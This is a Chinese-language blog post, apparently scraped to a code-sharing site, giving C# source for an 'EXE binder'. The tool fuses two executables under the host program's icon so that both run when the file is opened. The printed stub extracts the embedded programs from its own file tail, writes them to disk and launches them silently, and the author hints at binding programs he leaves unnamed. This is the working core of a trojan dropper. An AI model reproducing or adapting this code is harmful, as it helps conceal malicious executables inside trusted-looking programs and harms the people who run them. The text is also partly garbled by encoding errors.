C# 版 EXE捆绑器
?
C# 版 EXE捆綁器
本人練習(xí)寫的,參照網(wǎng)上其它資料.
?
主要功能
1. 將兩個EXE文件合并.
2. 合并后的程序顯示宿主程序的圖標(biāo)
3. 合并后的程序執(zhí)行時(shí),同時(shí)執(zhí)行宿主程序與捆綁的程序.
?
用C#制作的捆綁器,不能和C寫的捆綁機(jī)相比,不可能用這樣的方法來把XXXXX程序捆綁,畢竟運(yùn)行這樣的程序還要.net framework 支持. 只為練手
?
?
源代碼下載
?
就貼一下 合并后文件的代碼吧.
合并后文件,主要是分離執(zhí)行.
?
public ClassHost()
??????? {
??????????? //從自己
??????????? string exePath=Path.GetDirectoryName(Application.ExecutablePath);
??????????? //臨時(shí)文件準(zhǔn)備
??????????? string sourcetempFile=Path.Combine(exePath,"tempFile.data");
??????????? if (File.Exists(sourcetempFile))
??????????? {
??????????????? File.Delete(sourcetempFile);
??????????? }
??????????? File.Copy(Application.ExecutablePath, sourcetempFile);
??????????? //sourcetempFile = Path.Combine(exePath, "notepad.exe");
??????????? FileStream fileSource = new FileStream(sourcetempFile, FileMode.Open);
??????????? fileSource.Position = fileSource.Length;
??????????? string bandingFile = Path.Combine(exePath, "bandingFile.exe");
??????????? GetFileFromStream(fileSource, bandingFile);
??????????? string customerHostFile=Path.Combine(exePath,"customerHostFile.exe");
??????????? GetFileFromStream(fileSource, customerHostFile);
??????????? fileSource.Close();
??????????? //啟動兩個程序
??????????? StartProcess(customerHostFile);
??????????? StartProcess(bandingFile);
??????????? File.Delete(sourcetempFile);
??????? }
??????? private void GetFileFromStream(FileStream fileSource,string fileName)
??????? {
??????????? FileStream targetFile = new FileStream(fileName, FileMode.Create);
??????????? byte[] buffer=new byte[8];
??????????? fileSource.Seek(-8, SeekOrigin.Current);
??????????? fileSource.Read(buffer, 0, 8);
??????????? long fileLength = BitConverter.ToInt64(buffer, 0);
??????????? buffer = new byte[1024];
??????????? fileSource.Seek(-1*(fileLength + 8), SeekOrigin.Current);
??????????? int count = Convert.ToInt32(fileLength / buffer.Length);
??????????? int mode = Convert.ToInt32(fileLength % buffer.Length);
??????????? for (int i = 0; i < count; i++)
??????????? {
??????????????? fileSource.Read(buffer, 0, buffer.Length);
??????????????? targetFile.Write(buffer, 0, buffer.Length);
??????????? }
??????????? if (mode !=0)
??????????? {
??????????????? fileSource.Read(buffer, 0, mode);
??????????????? targetFile.Write(buffer, 0, mode);
??????????? }
??????????
??????????? targetFile.Flush();
??????????? targetFile.Close();
??????????? fileSource.Seek(-1*fileLength, SeekOrigin.Current);
??????? }
??????? private void StartProcess(string fileName)
??????? {
??????????? if (File.Exists(fileName))
??????????? {
??????????????? System.Diagnostics.Process.Start(fileName);
??????????? }
??????? }
總結(jié)
以上是生活随笔為你收集整理的C# 版 EXE捆绑器的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 抓握手包破解wifi密码前传:WPA/W
- 下一篇: 投票算法